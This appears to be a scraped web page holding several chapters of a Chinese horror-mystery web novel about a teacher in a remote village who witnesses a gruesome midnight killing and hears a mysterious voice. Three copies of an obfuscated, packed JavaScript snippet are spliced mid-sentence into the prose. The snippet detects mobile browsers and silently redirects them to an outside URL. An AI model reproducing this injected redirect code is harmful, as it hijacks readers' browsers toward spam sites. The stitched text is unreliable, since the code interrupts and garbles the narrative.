《脏凰肉凤》 2. 石头与红梅 方雀感到有一股冰凉的水流拂过鼻尖,顺着脸颊灌进她的耳朵里,非常难受。 于是她摇晃一下脑袋,睁开了眼睛。 入目所及是一片高空,鲜艳的晚霞悬在天边角落,绯红一片,被繁茂的黑色树冠切割成细碎不规则的形状。 “你醒了?” 方雀脑袋晕,寻找发出声音的人,她稳住颤抖的瞳孔,视线逐渐定焦,一个小姑娘的轮廓清晰地出现在眼前。 小姑娘样貌很清秀,梳着细细的马尾辫。 见她这副要死不死的模样,小姑娘用树杈子戳了戳她的脸蛋:“你还好吗?” 即使方雀是学校里出了名的好脾气,但也哪被这样对待过?她眉毛一皱,就要张嘴开训。 谁知下一秒,小姑娘挽起袖子,轻轻地将她脸上的水擦干净,边擦边说:“我看你自己躺在路边,没办法才在你脸上泼点水,对不起。” 小姑娘的袖子在方雀脸上滑动,带着一点皂角香气,方雀的睫毛被她拨来拨去,有点痒。 听她这么一说,方雀这才意识到,自己正仰面躺在草地上,全身有一点点酸痛。 “我...” 话没说出口,小姑娘突然捂住了她的嘴,竖起食指放在唇边,目光慌张地望向前方:“嘘,别说话。” 方雀懵了,被她扯着胳膊拽到一旁的草丛里,小姑娘身形虽瘦,力气却大得惊人。 透过衬衫的触感,方雀感觉到她手上分布着很多茧。 两人蹲在草丛里,小姑娘用两根树枝挡着脸,鬼鬼祟祟地窥探前方。 迎着血红夕阳,一个高大的少年身影出现在地平线上。 少年很壮,肩膀宽四肢粗,走路晃晃悠悠,脑袋好似不受控制地歪到一边,不太聪明。 他停在两人方才说话的位置上,左顾右盼,嘴角闪烁着晶莹的水光,胳膊扭动,手指弯曲,两条小腿交叉,站不直。 方雀眯起眼睛,这才看清少年的脸,年纪不大,模样还算顺眼,而且... 方雀偷摸地瞧了一眼小姑娘,她正瞪着眼睛看着少年,眼中似有怒火。 二人长得很像。 作为一个年轻的牛马班主任,方雀早就练就了辨识人脸的火眼金睛,曾经创下了在百米之外一眼认出了与小混混抽烟打架胡闹的学生身影之战绩。 眼前的少年面皮更白,手指纤细,眼神清澈,可称得细皮嫩肉。 反观她身边的小姑娘,脸蛋皲裂,皮肤黑黄,手掌骨架粗大,一看就是长期干农活的人。 尽管如此,方雀也断定,二人必有亲戚关系,说不定还是血缘相连的一家人。 “他是你弟弟啊?”方雀小声问。 小姑娘眉毛倒竖:“哈?你为啥觉得我比他大?” 方雀挠脸:“呃...他是你哥?” 小姑娘嘴一歪,表示默认。 少年在原地转圈,嘴里啊啊叫唤,面色十分焦急。 他艰难地念叨着,不停地念叨着:“红...红梅...放学...哥...等...” 听闻此话,小姑娘抓着衣襟的手握成拳,牙关收紧,嘴角绷起一块肉。 红梅? 方雀敛气吞声,大脑高速运转。 怎么这么熟悉呢?好像在哪听过。 直到硕大的太阳彻底落下,夜幕拉开,灰蒙蒙的弯月隐于云后,冷风拂过树林,萧萧好似鬼声。 少年急得团团转,手脚舞动,方雀看见了他脸上的汗光。 少年急迫地往村口走去,说是走,其实更像是挪动。 他的行动力太差了,走一步就要摔一步,在前倾时,他竟不会下意识伸手撑起身体。 不多时,少年身上滚满了草屑,开始流鼻血。 脑瘫? 方雀想过去搭把手,刚抬起屁股,小姑娘嗖嗖一个眼刀射过来,她立刻蹲回了原地。 直到少年跌跌撞撞的身影消失于茂密的树林中,小姑娘这才拍拍衣服站了起来。 方雀蹲得膝盖要碎了,有点酸:“红梅,这是干嘛呢?” 红梅啧了一声:“你怎么知道我叫红梅?” 方雀指了指后面:“你哥说的。” 红梅看着树林有些沉默,半晌才抬起头问道:“你是从邻村来的吗?” 方雀摇摇头。 红梅挤眉弄眼:“没关系,就算你是偷跑出来的,我也不会去告密。” 方雀:“怎么?” “你不知道吗?”红梅后撤一步,有点戒备,“你到底是从哪来的啊?” 一股冷风吹过,方雀不禁抱住了胳膊,她环视一圈这兔子不拉屎的荒野,觉得还是得找个可以过夜的地方,其他的以后再说。 以她多年教学的经验来看,此小姑娘是个好人,于是胡诌道:“我是跟着旅游团来的,在这散步就迷了路。” “哦哦。”红梅恍然大悟,“原来是这样,那你一定是个老师吧。” 方雀惊讶:“你怎么知道?” “来这考察的老师都说自己是跟旅游团来的,我懂,为了应付上面嘛。”红梅摆摆手,一副小大人模样,“既然迷路了,如果你不嫌弃的话,就到我家去住吧,我家只有我和奶奶两个人,很宽敞的。” 方雀挑眉,指了指后面的树林:“那个是...” 红梅似乎不想讨论这个话题,于是生硬地当做没听见她的话:“只是我还不知道,你叫什么名字?” 方雀也不追问,只是回答:“我叫方雀,叫我方老师吧。” 月光慢慢浮出云层,干净的银辉倾洒而下。 红梅和方雀爬上高坡,放眼远眺,群山蜿蜒,苍翠鲜明,村庄坐落在一方丘陵之中,灯光星星点点,别有一番诗意。 红梅的手指着村边的一处空地,声音大而兴奋:“看,那里就是村里未来要修学校的地方,等学校建好了,我就不用走那么久的路去镇里上学了。” 红梅不合身的宽大衣衫迎风纷飞,烈烈作响,她双手叉腰,身板站得笔直,双眼明亮。 方雀双手举到眼上挡风:“你刚才说的话是什么意思啊?” 红梅大声:“啊?哦哦,因为上面不让我们村建学校啊。” “为什么?” 提到这个话题,红梅脸上的兴奋光彩一下黯淡了,她脊背弯下,眉头皱得绷紧。 方雀自觉说错话,立刻拍了拍自己的嘴。 红梅的心智应该很成熟了,因为仅仅难过一小会儿便重新挂上了笑容:“没事,这又不是你一个人就能改变的情况,太晚了,咱们先回家吧。” 红梅的家在村子东头,进门是很干净整齐的一座大院,迎面三间砖房,虽有些破,但不脏不乱,院内还有个繁茂团簇的花坛。 红梅一进大院,就高兴得大喊:“奶奶!咱家来客人了!是个老师!” 一个白发苍苍的老人端着鸡食盆从仓房钻了出来,见到方雀很高兴,肉乎乎的脸上笑得满面褶子,很慈祥。 “多么清秀的姑娘!真有气质。”奶奶拉起方雀的手,满脸喜欢,“多大了?” 方雀也笑:“二十四了。” “风华正茂的年纪,又是个老师,栋梁,栋梁。”奶奶招呼着方雀进屋,拿个干净的软垫放在椅子上,“坐,坐。” 红梅忙前忙后,小老鼠似的从厨房给方雀搬运好吃的,不大一会儿,她面前的桌子就摆满了水果。 离村进镇很困难,买东西非常费劲,红梅这是把家里的所有好东西全都掏出来了。 祖孙俩都很开心,以至于奶奶意识到家里少了个人时,已是一个多小时之后。 “石头呢?”奶奶往门外看,“你哥呢?” 红梅啃胡萝卜的动作一顿,飞快地撇了方雀一眼,低下了头。 奶奶急得直拍大腿:“哎哟,我那个傻孙子又跑哪去了?这可怎么办呢?” 方雀将刚要吃的梨放回盘子里,抿着嘴看了红梅一眼。 红梅有点发怵,但还是轻微地朝方雀摇了摇头,一脸恳求。 方雀也不好插手别人的家事,但身为教师的职业习惯,还是看出来,红梅这个青春期孩子的性格走向,发生了偏差。 她刚要开口说话,就听院内传来扑通一声响,奶奶起来一看,欣喜万分。 石头满身是血,头发不知被谁揪掉了一块,露出白花花的头皮,他的上衣全烂了,裤子也被剪出个大洞。 红梅有些惊讶,但更多的是愤怒,她一个箭步冲上前,质问:“是谁打的你?” 石头有些懵懂,眼神里蒙着一层水雾,在看见红梅的一瞬间,石头伸手紧紧抱住了她,哇哇放声大哭。 哭声震天动地,红梅在他怀里挣扎不得,连打带踹。 方雀走上前,石头似乎才看见家里来了个陌生人,他放开了桎梏红梅的手臂,坐在地上仰头观察方雀。 方雀主修高中教育,对这种脑瘫孩子并不熟悉,她试探开口:“好孩子,呃...不哭了。” 红梅不满地拍打自己的衣袖,撅哒撅哒回屋取来一套衣服,扔在石头身上。 奶奶颤颤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16837527|191267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巍巍,心疼地抚摸着石头的脸:“你跑哪去了?怎么这么晚才回来?” 石头嘴巴不受控制歪斜:“阿妹...接...不见...” 奶奶抱住石头安慰他,趁这个空段,方雀把红梅提溜到一旁,语气沉肃:“你这么做不对。” 红梅双手背在身后,偏过头不说话。 方雀俯视红梅,发现她因偏头而露出的脖颈上,满是钝器划出的伤痕,密密麻麻,触目惊心。 伤痕有新有旧,交叠彼伏,有的将要褪去,有的还乌红新鲜。 方雀的食指抿了大拇指关节一下,开口:“其实,你也并不是很讨厌哥哥吧?” 红梅一愣,倔强地哼了一声。 方雀摸摸红梅的脑袋:“看到哥哥受伤,你第一反应是愤怒,而不是幸灾乐祸,这就说明,你本质上就是个好孩子。” 红梅强硬的态度稍稍软化下来,方雀趁热打铁:“你脖子上的伤,是为了在其他人手里保护哥哥才留下的吧?” 方雀自以为一番动之以情,晓之以理的教育可以稍微将红梅的性格发展引回正途,但没想到红梅在听到脖子上的伤的时候突然转回脑袋,一双大眼睛瞪得溜圆,方雀看到了熊熊怒火。 “方老师,不要瞎猜,这伤压根就不是为了保护那个傻子才受的。”红梅双拳攥得死紧,低声控诉:“你是来考察的老师,我尊敬您,但您不要瞎猜我的私事。” “好好好。”方雀无奈赔笑,举双手投降,“对不起,是我错了。” 红梅又是一僵,嘴巴微张,有些不可置信:“您...竟然给我道歉?” 方雀挑眉:“怎么?” 红梅:“您可是老师,老师怎么能跟学生道歉呢?” 方雀:“老师怎么不能跟学生道歉呢?我说错了话,冒犯到了你,就应该和你道歉啊。” 红梅垂下眼,左看看右看看,嘴巴撅起又抿紧。 她似乎很纠结,半晌才磕磕巴巴地开了口:“没...没关系。” 方雀笑了,蹲下身,伸出右手掌心:“以后你不愿说的,不想告诉老师的,老师就不会追问或者瞎猜了,那我们和好吧。” 方雀穿着白色衬衫和水洗蓝直筒牛仔裤,衬得她的皮肤更加白,长发更加黑,五官明艳立体,身形细瘦清丽,干干净净的,很讨人喜欢。 最俊的是她的一双眼睛,杏眼长睫,瞳孔微微发棕,仿佛流淌着对红梅的爱护与关怀。 红梅脸蛋爆红,将手掌放入方雀掌心,小声道:“好。” 方雀暗笑,小小学生,心思太好猜了,搞定得轻轻松松。 石头被村里的赤脚大夫包裹成严严实实,躺在床上好似木乃伊,红梅用勺子喂他喝水,都仔细吹温了再送进石头嘴里。 方雀坐着一个小马扎,在厨房帮奶奶择菜,奶奶三番两次拒绝方雀的帮助,最终拗不过热情,还是给了她一把韭菜。 奶奶看向屋子里的兄妹俩:“这俩孩子,都是苦命啊。” 方雀耳尖一动。 “怎么了呢?”她一脸真诚。 奶奶不太想说,方雀也不追问,只安安静静地择菜。 果然,良久之后,奶奶问道:“方老师,你教几年级?” 方雀回答:“高三。” 奶奶嘴巴惊成o形:“高中,真厉害。” 方雀歪头,用手背抹了一把鬓角:“过奖,红梅应该是上初二初三左右吧?” 奶奶摇头:“不,她上小学。” 方雀择菜的手停了一顿,抬头看向奶奶。 见她这个反应,奶奶露出苦笑:“红梅这孩子从小就懂事,刚记事的时候就帮家里干活,照顾她阿哥,风吹日晒的,长的也壮实,不知道的人都以为她很大了,实际上红梅才十一岁。” 方雀指了指屋里的石头,又指了指自己的脑袋:“那石头...” 奶奶的眼圈红了,声音哽咽:“石头他...其实不是红梅的亲阿哥...” 紧接着,奶奶凑近方雀,一边回头看了一眼屋里的两个孩子,一边压低了声音:“他是我在村口山洞里捡回来的,恶鬼的孩子。” 方雀目瞪口呆,奶奶放下韭菜:“我知道你肯定不信,本来我也不想提起这些事,但是你是老师,红梅又喜欢你,所以我就不对你隐瞒了。” 奶奶抹了一把眼泪,苍老的脸上不知是因悲伤还是恐惧,皱纹在微微发抖。 她浑浊的眼珠潮湿又无奈,仿佛心生难堪。 “等到了午夜,你悄悄看一眼院子,就知道了。” 3. 方伏凰 “奶奶,你们在说什么呀?” 红梅的声音冷不丁从背后响起。 奶奶吓了一跳,方雀抬头笑,手上择菜动作不停:“我们在说考察学校的事呢。” “真的吗?”红梅搬了个小马扎坐在奶奶身边,很开心,眼睛亮晶晶,“我们村可以建学校了吗?” “这个还得看上面的意思。”方雀搪塞道,“不要着急。” 红梅双手搭在膝盖上,面色不悦:“为什么不能着急?如果山洞里的东西出来了,那就...” 话音刚落,她好似意识到了自己的失态,眨了眨眼,若无其事地拿起一把韭菜,择了起来。 奶奶朝方雀笑了笑,方雀弯了眼睛,不追问。 又是山洞。 在民俗传说故事中,一般会有一个或多个具有象征意义的图腾,可以是生物,可以是物件或者地点,这都是很正常的创作手段。 令奶奶和红梅讳莫如深的山洞,在此象征着什么呢? 所谓从山洞里捡回来的恶鬼的孩子,又是什么? 方雀兴奋得微微发抖,短短半天时间,诸多神秘元素一个接一个地到来,她真的好久都没有遇到这么有意思的事了。 黑夜将村落的稀疏灯火熄灭,似有远鸟啼鸣,不见月色。 方雀坐在床边,来回拨动红梅的旧玩具布球。 她捂着胸口,感受来自肋骨后面的勃勃跳动。 午夜时分,悄悄看一眼院子—— 方雀的嘴角暗自勾起,好刺激,好神秘,真有意思。 老人恐惧的眼神和颤抖的话语,红梅戛然而止的失语,这都激起了方雀潜意识里的旺盛好奇心,她无比期待时间能过得快一些,快快到午夜。 红梅抱来一床厚被,趴在床上给方雀铺褥子,方雀帮她压着被角。 昏黄的暖光灯下,红梅的影子忽暗忽明,她的袖口与裤腿因行动而上窜,露出许多凸起暗红的伤痕。 身体上的伤比她脖颈上的更多,方雀侧眼看,好像并不是被利器或钝器弄出的,更像是... “更像是被粗糙绳子硬生生勒出来的。” 一个男音从她脑海中响起,方雀吓了一跳。 那声音仿佛从空远之境凭空出现,沉而温和,如同雷雨天气中的一阵清风。 方雀感到熟悉,却怎么也想不起来。 她狠狠甩了一下脑袋,凌乱的刘海黏在冷汗上。 她的脑仁嗡嗡作响,眼前的场景渐渐产生虚影,方雀揉了一把太阳穴,快速眨动眼睛。 这显然有效,慢慢的,她的视野变得稳定。 男人的声音?哪来的? 方雀捂住嘴,天呐,难道是自己精神分裂了吗? 她在脑海中仔细搜寻,试图找到日常生活中拥有此声线的人,但却无疾而终。 那声音仿佛微风拂过群山,飘飘乎,销声匿迹。 此时,红梅发现了方雀的视线,她往下扯了扯袖子,跪着后退下床。 “方老师,你咋了?” 红梅双手揣兜,站在方雀面前,看着她好似被鬼上身了似的,超级震惊地瞪大双眼,面色十分苍白。 而后她的眼神逐渐空洞呆滞,到最后,慢慢眨了两下懵懂的眼,一脸疑惑,反问红梅:“啊?咋了?” 红梅小脸皱起,一副真是无法理解的表情。 方雀接过红梅递来的,今晚她要用的枕头,一摸枕巾面料,是崭新的。 反观红梅用的枕头,其上有补丁和还未缝补的破洞。 方雀环视一圈红梅住的厢房,斑驳的墙面漆皮掉落,屋里只寥寥几件家具,电灯是老式的,最新的也就一张大床了。 方雀开口问道:“你家里只有奶奶一个长辈吗?你父母呢?” 红梅端水盆的动作一顿,一些水从盆边撒出来。 她低下头,方雀看不见她的表情。 一滴泪坠落,落在热气熏腾的水盆里,漾起水波。 红梅小小声:“都被哥哥杀了。” 方雀没有听清:“什么?” 红梅扬起脸,泪流满面。 方雀弯下腰用手背擦她的眼泪,红梅偏头躲开,抬起胳膊用臂弯蹭脸。 她看着方雀的眼睛,仍是小声:“爸妈都被哥哥杀了。” 说话时,红梅的嘴唇在抖动,眼里流露出恐惧的绝色。 “哥哥是恶鬼的孩子,是不祥之人。”红梅几乎是在用气音说话了,“其实,在这个家里,属他最精明。” “什么意思?” 红梅不答,却问了一个没头没脑的问题:“方老师,你觉得我哥傻吗?” 方雀不知道该说什么,一时语塞。 红梅笑了,灯光自上而下,照亮她发心,在她脸上分割出明显的明暗,竟显得有些阴沉。 她俯在方雀耳边:“方老师,千万不要在午夜的时候看院子,会被诅咒的。” 方雀抬眼:“什么诅咒?” 红梅看向窗外。 窗户正对着院子中央生长着的一棵大树,树皮乌黑,枝丫扭曲,叶子繁茂。 如同疯狂的触手动物,长着茂密的毛,毫不留情地遮挡住所有月光,使红梅的屋子变得更加昏暗。 红梅拉着方雀坐下,一本正经:“我不能告诉您原因,但我也不想看到您出事。” “今晚您和我一起睡,咱俩就好好睡觉。”红梅的态度认真又严肃,“午夜时分,无论院子里传来什么声音,您都不要向外看。” 熄灯入眠,万籁俱寂。 坐落在丘陵地区的村庄,夜色静谧而灰蒙,远方山里有兽嚎叫,风过苍林。 狭小的厢房里,红梅裹着被子睡在床外侧,大概是太累了,不一会儿就响起平稳均匀的呼吸声。 方雀躺在里侧,没有丝毫困意,但为了不打扰红梅睡觉,她还是闭着眼,直直挺挺地躺着。 红梅与奶奶截然相反的嘱咐让她脑子很是混乱,回想起二者说话时的语气与神态,竟是出奇的如出一撤。 她有一种山雨欲来风满楼的预感,心脏在狂跳,床头桌上的旧闹钟滴答滴答地行走,方雀的双眼在黑暗中睁开。 夜幕里,仿佛有东西在蠢蠢欲动,方雀知道,是她近乎疯狂的探索欲。 墙上挂钟的时针与分针于正上方重合,方雀不动声色地深吸一口气,侧眼看向红梅。 红梅不见了。 被窝干瘪,空荡荡。 方雀坐起身,摸了摸她被窝的温度,是冷的。 也就是说,红梅在方雀闭目养神的某个空隙,悄无声息地离开了。 方雀有点惊讶,这是怎么做到的呢? 说实话,红梅这个孩子的确有些深沉,不管是伤痕累累的身体,还是成熟的心智,都足以超越大多数的少年人。 越来越有意思,方雀掀被下床,悄悄站在窗前。 窗帘被她抓在手里,是否拉开,就在她的一念之间。 “会被诅咒的。” 红梅低沉的话语犹在耳畔,方雀拉开窗帘的动作变得迟疑。 突然—— “拉开窗帘。” 那个陌生的温柔男音再次出现,方雀伸出双手举到眼前,树影婆娑,晦暗不清的侧脸如此苍白,她的睫毛在抖动。 声音语落之时,方雀表情狠厉,狠狠掐上自己的脖颈! 源自濒死的恐惧席卷她的神识,方雀的手越收越紧,她的脸已憋得涨红,手下力道加剧,方雀的视野漆黑。 “快住手!”那男声急切道。 方雀咧嘴笑,声音带着痛苦:“你究竟是谁?” 男声不说话了,方雀的脖颈开始响起轻微咔嚓声,下意识 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16837528|191267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的求生意识驱使她放松手掌,但方雀咬紧牙关,眼睛一闭,指甲深深陷入皮肤。 男声这才显露出虚怕的语气来:“我是方伏凰。” 方雀猛地撒开手。 大量的气体涌入肺腔,她跌坐在地上,捂着嘴低声咳嗽,涎水顺着嘴角流下,她眼底血红。 方伏凰感叹:“你可真狠。” “不狠一点能让你袒露出来吗?”方雀抹一把嘴角鲜血,疯狂的快感升腾,甚至压过了来自伤处的剧痛,“你到底是什么人?” 方伏凰哀伤:“我是你的知己。” 方雀嗤笑:“有病。” 脖颈太痛,方雀忍受不住,躺回床上,盯着低矮的天花板:“你是不是知道事件的走向?” “不是。” “那你为什么知道红梅身上的伤是被绳索勒出来的?为什么还要我拉开窗帘?” 方伏凰语气仍然温柔:“因为我愿意。” 方雀大大翻了个白眼:“有病。” “哈哈。”方伏凰笑,“不过,我劝你还是拉开窗帘看一看吧,外面可有大戏上演哦。” 方雀哼了一声,全身痛到脱力,捂着脖子跌撞扶上窗台,方伏凰声声引导:“看看吧,很有意思的。” 窗帘在方雀手中缓缓拉开,一线月光刺入玻璃。 弯月如同钝刀子划出的天空伤口,正对窗口的大树在风中轻微摇曳,奇形怪状的树枝正如孩童的手臂,树皮干枯龟裂,绿叶却生机盎然。 院子内悄无声息,没有任何异状发生。 方雀趴在玻璃上,努力向石头和奶奶同住的主屋看,主屋灯光全灭,主人应该未醒。 方伏凰含着笑意:“你看,他来了。” 吱呀—— 尖锐的推门声响起,一个高大的黑色人影从主屋挪出来,他双臂垂着,一腿外撇,一腿内扣,如同林中蟾蜍。 是石头。 他虽闭着眼睛,但方雀还是能看出来,他其实是醒着。 石头艰难地挪到院中央的大树前,背靠着树干滑坐在地。 方雀眯着眼睛仔细瞧,石头的双手在树干下摸索着,而后动作一滞,慢慢从地底扯出一条极粗的麻绳。 即使在昏暗的院落,那麻绳上凝固的暗红血液仍然令人心惊。 石头双手利索地将麻绳缠绕成环圈。 不知从何处响起一阵细弱的哭声,院子的四面墙壁上,竟逐渐浮现出一排排的人影。 它们有着极长的手和脚,没有手指,头大大的,交叠混乱,好似一群棒棒糖起舞。 石头将麻绳套在脖子上,对着墙壁跳舞。 挥手臂,转屁股,左脚踩右脚,重重摔倒又狼狈爬起,滑稽得像一头劣质羔羊。 方雀隐在窗帘后,视线落在大树茂密的树冠上,翠绿的枝叶里乍然露出一个绯红的衣摆,其上绣着一朵绽放的梅花。 是红梅的衣服。 哭声仍在漫延,声源来自树冠。 是红梅在哭。 石头舞毕,将麻绳套成一个圈,他踹向树干,小腿肌肉鼓鼓绷起,力气之大,方雀看到了簇簇掉落的树叶和灰尘。 红梅掉落下来,她表情迷离,模糊不清,神色呆滞得吓人。 方雀目光在二者身上徘徊,这怪异的事件发展让她瞪大双眼。 “有意思吧?” 方雀没有回答,她眼睁睁看着石头将不省人事的红梅反手绑住,鲜红的血液将她的双腕黏连在一起,但她仿佛无知无觉。 石头拎起红梅的双腿,将她完全倒立。 方雀整张脸都靠在玻璃上,瞳孔急骤收缩成极小的一个点,她的喉咙里因伤而发不出声音,只能咯咯地洇血而鸣。 因为在那下一刻,石头不费力地摆动红梅的身体,几个摆子过后,狠狠将红梅的头砸在树干上! 4. 村落育女 鲜血与黄浆四处迸发,乌黑的树干如同劣质的画布,在声声沉闷的撞击中,逐渐绘成一副诡诞的水墨。 这一切发生的太快,仅仅五分钟,石头就像变了一个人似的,动作痛快又利索,方雀分明看见了他光亮有神的眼睛。 他好似不知疲倦,如同一头癫狂的豺狼。 方雀的瞳孔不断颤抖,她抓紧窗帘,骨节发白。 最怪异的是,红梅好似不知疼痛,即使头破血流,颅骨凹陷,却仍然保持着迷离恍惚的神情,甚至嘴角还挂着微笑。 方伏凰惊笑:“你看,他们在跳舞哎。” 浓郁的墨色黑夜,惨白的弯月残云,沾满了各种颜色黏液的乌木树干,在方雀眼里变得分外清晰。 院子里的屠戮触目而惊心,院墙上一群扭曲的诡异黑影更是令人作呕,在阵阵牙酸的撞击声中扭动身体,真像在翩翩起舞。 亲眼目睹杀人现场,比阅读恐怖文字带来的冲击力高出千万倍。 方雀挪动脚步慢慢往后退,她的目光游离在虚无之间。 突然,她好似瞥到了一处地方,随即大步跨上前,额头抵着玻璃,发出砰的一声。 石头没有听见,红梅呆若木偶。 此时此刻,方雀极度紧绷的神经和身体却在慢慢地放松,直到完全软了下来。 唰! 方雀合上窗帘,灰尘扑扬,四处飞散。 她双手撑着窗台,冷声:“闭上你的嘴。” 方伏凰:“不想闭嘴。” 方雀:“有病。” “可是他在杀人啊。”方伏凰委屈巴巴,“你不去阻止吗?” 方雀躺回被窝:“不去。” “为啥?” 方雀不耐烦地闭上眼睛,翻身面向外侧。 方伏凰不说话了,破旧的房间这才安静下来,良久,方雀悠悠开口:“因为,那根本就不是石头和红梅。” 方伏凰唔了一声。 方雀翻身平躺,动了两下肩膀使被子平整:“石头的头皮今夜刚刚被人揪掉了一块,红梅的右手中指上有一块长期握笔磨出的,凸起的茧。” 她闭着眼睛:“院子里那两个人根本就不是他们,有什么好看的。” “哈哈哈。” 方伏凰笑得开怀,方雀感到烦躁,用被子捂住脑袋。 被窝里,方雀的声音闷闷:“我还没问你,你到底是谁?是我分裂出的人格吗?竟然能与我同时存在,还能和我对话?” 方伏凰哼哼了两声:“我说过了,我是你的知己呀。” 方雀啧了一声,双手又伸向自己的脖颈。 “别!” 方伏凰大叫。 方雀举起双手,枕在自己脑袋下:“哈哈,所以呢?” “你可真是...哎呀,真烦人,但是具体的,我真不能告诉你。”方伏凰没办法,温声细语劝道,“你只要知道,我不会害你就行了。” 方雀冷笑:“我凭什么相信你?” “就凭我是你的一部分。”他诚恳道,“我是你的共生体。” “什么共生体。”方雀呵呵,“分明是寄生虫吧。” 方伏凰语塞,方雀不愿理他,因为此时从屋外传来了轻轻的挪动声,好似细蛇游走,她赶紧躺平装睡。 窸窸窣窣,床边陷落,有人在外侧躺下。 方雀鼻尖一动,嗅到一股凉气,并无血腥。 她眼睛稍稍眯开一条小缝,昏暗的微光下,身旁的人看不清脸庞,只见侧脸有立体起伏,头发在枕头上散开,看样子应是红梅。 方雀假装睡熟,低声哼唧着将头偏向旁边。 凭借微弱的光晕,她再次眯开眼,只一眼,心里便重重一颤。 她,没有五官。 而且,脑袋太大了。 这个人,不,这个生物长着尖扁的,硕大的脑袋,脖颈却细得惊人。 被窝被它的身躯撑出了人的形状,黑夜中,如果不仔细看,这活生生就是一个发育不良的少女。 方雀看到的立体起伏,鼻梁与眼窝,更像是用软肉捏出的堆叠鼓包,不见骨骼硬感,皮肤紧绷绷的,泛着怪异的油亮光泽。 散开的头发细若丝线,竟像有生命似的,顶尖在游动。 方雀起了一身鸡皮疙瘩,她紧闭眼睛,努力将呼吸放均匀。 她感到生理性的恶心。 就在电光火石之间,方雀的脑海突然一片清明。 她终于知道,院墙上出现的黑影像什么了! 蛆虫。 长着触角的,变异的大蛆。 那旁边这个... 方雀不敢细想,怕控制不住呕吐出来。 是院墙上的黑影进来了吗?还是说,这就是红梅口中的诅咒? 院子里上演虐杀的两人不是真实的石头与红梅,那真正的兄妹又去哪了? 方雀闭着眼睛一夜无眠,直到破晓的天光打碎了深沉的夜幕,朝阳升起,今日是个好天气。 方雀感觉有人在推她,睁开眼,是红梅。 红梅感觉休息得很好,精神抖擞,眼睛亮晶晶的,有些兴奋:“方老师,您睡的好吗?今天我带您去看看学校的选址。” 方雀假装打了个哈欠,起床穿衣叠被。 她不动声色地打量旁边的红梅,有点发枯的头发,粗糙发暗的皮肤,累累伤痕,和那双永远明亮,充满希望与生命力的眼睛。 这分明是真正的红梅。 昨晚她去哪了? 方雀穿戴整齐,用红梅的小梳子梳头发,红梅在一旁,双手撑着脸蛋,仰头笑着看她。 她的眼睛好亮,灵动的光晕流转,方雀想起了昨晚被虐待的,木偶般的人。 红梅身上蓬勃的少年气息,与昨夜那个木偶一般的女孩大相径庭。 难道红梅有孪生的姐妹?还是说,是昨夜与她共眠的,蛆虫一般的生物在模仿红梅? 人的身形脸庞极易复刻,但气质神韵是难以模仿的。 方雀很想直接问出来,但很快,她就把这个想法否决了。 她将头发捋到身前,问道:“你昨晚睡前和我说的话,是什么意思?” 红梅一顿,双手放下来交叠,规规矩矩:“没有意思。” “你说你哥哥杀了你父母。”方雀没有提昨夜自己偷看院子或者诅咒的事,只是用一副极严肃的表情对着她。 “我会报警,如果调查出来不是真的,你就构成了诽谤罪,你是小学生,虽然不会被拘留,但老师和同学们会知道你诬陷造谣哥哥杀掉了父母,你确定要对老师隐瞒吗?” 红梅的小脸瞬间变得苍白,她跳下凳子站好,抓着衣角,局促不安。 方雀趁热打铁,语气渐渐温柔下来:“但如果你现在将真相告诉老师,也许老师会帮你。” 红梅紧紧抿着嘴唇,眼睛向上看,漆黑的眼珠如同剔透的玻璃球。 她后退一步,道:“我不相信你,除非...” “除非什么?” 红梅仰着小脸,有些不好意思:“除非你能给我们村建个学校。” 方雀乐了:“当然,老师有钱,给你们捐一座学校,完全没有问题。” 说话时,方雀将耳边碎发挽至耳后,露出一颗闪亮的钻石耳钉。 就是两个字,有钱。 红梅上过科学课,自然知道钻石的价值。 “真的吗?”红梅一愣,紧接着欢呼雀跃,一把抱住方雀的大腿,“老师真好!” 方雀摸摸她的脑袋:“但老师捐钱可不是白捐的,老师得知道这里不能建学校的原因。” 红梅抱着她的腿,闷闷嗯了一声。 方雀握住红梅的肩膀:“带我去看看选址吧。” 谢绝了奶奶的早饭邀请,红梅和方雀一人拎着一袋夹肉馒头。 石头缠着白绷带,短刺的头发从绷带缝隙里伸出来,他生着一双潮湿的眼睛。 他担心地盯着红梅,想要抬步跟她们走。 “阿妹...不去...别...山洞...” 断断续续的呓语传进红梅的耳朵里,红梅脚步稍作停顿,又像没听见似的大步离开。 方雀回头看了一眼石头,正对上他布满哀伤的目光。 村子很小,道路狭窄,只有寥寥几户人家升起炊烟,比起昨夜的绝对寂静,今早才显现出一些烟火气息。 初秋的山峦美丽而优雅,有黄叶落下,但大部分仍是翠绿苍苍。 二人爬上高坡, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16837529|191267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 